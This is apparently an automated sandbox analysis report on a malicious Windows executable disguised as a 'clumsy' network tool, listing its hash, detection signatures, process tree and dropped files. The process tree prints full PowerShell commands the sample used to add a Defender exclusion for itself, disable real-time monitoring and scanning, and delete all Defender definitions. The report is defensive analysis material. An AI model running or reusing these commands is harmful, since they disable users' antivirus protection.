Resubmissions
06/08/2026, 18:14
260806-wvb59sxekc1009/02/2026, 15:13
260209-slzcnaaw5h06/01/2026, 21:57
260106-1t9glaet2b1030/05/2025, 20:18
250530-y3ex8syydx1030/05/2025, 19:30
250530-x7rxxsx1gz14/06/2024, 15:27
240614-svsapszfpp10Analysis
- max time kernel
141s - max time network
152s - platform
windows10-2004_x64 - resource
win10v2004-20240508-en - resource tags
- submitted
14/06/2024, 15:27
General
- Target clumsy 0.4 Private tool v2/0.4 Private tool v2 clumsy.exe
- Size 6.0MB
- Sample240614-svsapszfpp
- SHA256 9d4bbfe5521c3a0a171e05ca3598bc2889e0c1e0da7914edcdc2dbe5a21b566d
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
- ACProtect 1.3x - 1.4x DLL software 16 IoCs
Detects file using ACProtect software.
- Loads dropped DLL 17 IoCs
- UPX packed file 43 IoCs
Detects executables packed with UPX/modified UPX open source packer.
- Suspicious behavior: EnumeratesProcesses 4 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 15 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\clumsy 0.4 Private tool v2\0.4 Private tool v2 clumsy.exe"C:\Users\Admin\AppData\Local\Temp\clumsy 0.4 Private tool v2\0.4 Private tool v2 clumsy.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\clumsy 0.4 Private tool v2\0.4 Private tool v2 clumsy.exe"C:\Users\Admin\AppData\Local\Temp\clumsy 0.4 Private tool v2\0.4 Private tool v2 clumsy.exe"2⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\clumsy 0.4 Private tool v2\0.4 Private tool v2 clumsy.exe'"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\clumsy 0.4 Private tool v2\0.4 Private tool v2 clumsy.exe'4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
powershell.exe.log
VCRUNTIME140.dll
_bz2.pyd
_ctypes.pyd
_decimal.pyd
_hashlib.pyd
_lzma.pyd
_queue.pyd
_socket.pyd
_sqlite3.pyd
_ssl.pyd
base_library.zip
blank.aes
libcrypto-1_1.dll
libffi-8.dll
libssl-1_1.dll
python311.dll
rar.exe
rarreg.key
select.pyd
sqlite3.dll
unicodedata.pyd
__PSScriptPolicyTest_p10h0u4u.ct5.ps1
memory/3604-114-0x0000000006300000-0x000000000634C000-memory.dmp
memory/3604-152-0x0000000074460000-0x0000000074C10000-memory.dmp
memory/3604-113-0x00000000062D0000-0x00000000062EE000-memory.dmp
memory/3604-86-0x0000000074460000-0x0000000074C10000-memory.dmp
memory/3604-85-0x0000000005400000-0x0000000005A28000-memory.dmp
memory/3604-84-0x0000000074460000-0x0000000074C10000-memory.dmp
memory/3604-81-0x000000007446E000-0x000000007446F000-memory.dmp
memory/3604-132-0x0000000070280000-0x00000000702CC000-memory.dmp
memory/3752-66-0x0000000075280000-0x00000000752A8000-memory.dmp
memory/3752-71-0x00000000037E0000-0x0000000003A3A000-memory.dmp
memory/3752-70-0x00000000751E0000-0x0000000075274000-memory.dmp
memory/3752-75-0x0000000075530000-0x0000000075A3A000-memory.dmp
memory/3752-78-0x00000000754E0000-0x00000000754FF000-memory.dmp
memory/3752-77-0x0000000074F00000-0x0000000074F0C000-memory.dmp
memory/3752-76-0x0000000074F10000-0x0000000074F20000-memory.dmp
memory/3752-80-0x0000000074DE0000-0x0000000074EF8000-memory.dmp
memory/3752-72-0x0000000074F80000-0x00000000751DA000-memory.dmp
memory/3752-64-0x00000000752B0000-0x00000000752BC000-memory.dmp
memory/3752-202-0x0000000075530000-0x0000000075A3A000-memory.dmp
memory/3752-62-0x0000000075300000-0x0000000075316000-memory.dmp
memory/3752-59-0x0000000075460000-0x000000007547B000-memory.dmp
memory/3752-60-0x0000000075320000-0x0000000075456000-memory.dmp
memory/3752-187-0x0000000075530000-0x0000000075A3A000-memory.dmp
memory/3752-88-0x0000000075460000-0x000000007547B000-memory.dmp
memory/3752-91-0x0000000075320000-0x0000000075456000-memory.dmp
memory/3752-56-0x0000000075480000-0x0000000075498000-memory.dmp
memory/3752-172-0x0000000075530000-0x0000000075A3A000-memory.dmp
memory/3752-171-0x00000000037E0000-0x0000000003A3A000-memory.dmp
memory/3752-165-0x0000000074F80000-0x00000000751DA000-memory.dmp
memory/3752-154-0x0000000075530000-0x0000000075A3A000-memory.dmp
memory/3752-169-0x0000000075280000-0x00000000752A8000-memory.dmp
memory/3752-54-0x00000000754A0000-0x00000000754C7000-memory.dmp
memory/3752-32-0x00000000754D0000-0x00000000754DD000-memory.dmp
memory/3752-170-0x00000000751E0000-0x0000000075274000-memory.dmp
memory/3752-153-0x0000000075300000-0x0000000075316000-memory.dmp
memory/3752-31-0x00000000754E0000-0x00000000754FF000-memory.dmp
memory/3752-25-0x0000000075530000-0x0000000075A3A000-memory.dmp
memory/3840-83-0x0000000074460000-0x0000000074C10000-memory.dmp
memory/3840-128-0x0000000007520000-0x0000000007B9A000-memory.dmp
memory/3840-130-0x0000000006F50000-0x0000000006F5A000-memory.dmp
memory/3840-131-0x0000000007160000-0x00000000071F6000-memory.dmp
memory/3840-129-0x0000000006EE0000-0x0000000006EFA000-memory.dmp
memory/3840-142-0x00000000070E0000-0x00000000070F1000-memory.dmp
memory/3840-143-0x0000000007110000-0x000000000711E000-memory.dmp
memory/3840-144-0x0000000007120000-0x0000000007134000-memory.dmp
memory/3840-145-0x0000000007220000-0x000000000723A000-memory.dmp
memory/3840-146-0x0000000007200000-0x0000000007208000-memory.dmp
memory/3840-115-0x0000000006110000-0x0000000006142000-memory.dmp
memory/3840-127-0x0000000006BA0000-0x0000000006C43000-memory.dmp
memory/3840-151-0x0000000074460000-0x0000000074C10000-memory.dmp
memory/3840-126-0x0000000006150000-0x000000000616E000-memory.dmp
memory/3840-116-0x0000000070280000-0x00000000702CC000-memory.dmp
memory/3840-106-0x0000000074460000-0x0000000074C10000-memory.dmp
memory/3840-107-0x0000000005810000-0x0000000005B64000-memory.dmp
memory/3840-112-0x0000000074460000-0x0000000074C10000-memory.dmp
memory/3840-89-0x0000000004C80000-0x0000000004CE6000-memory.dmp
memory/3840-90-0x00000000053F0000-0x0000000005456000-memory.dmp
memory/3840-87-0x0000000004BE0000-0x0000000004C02000-memory.dmp
memory/3840-82-0x00000000022E0000-0x0000000002316000-memory.dmp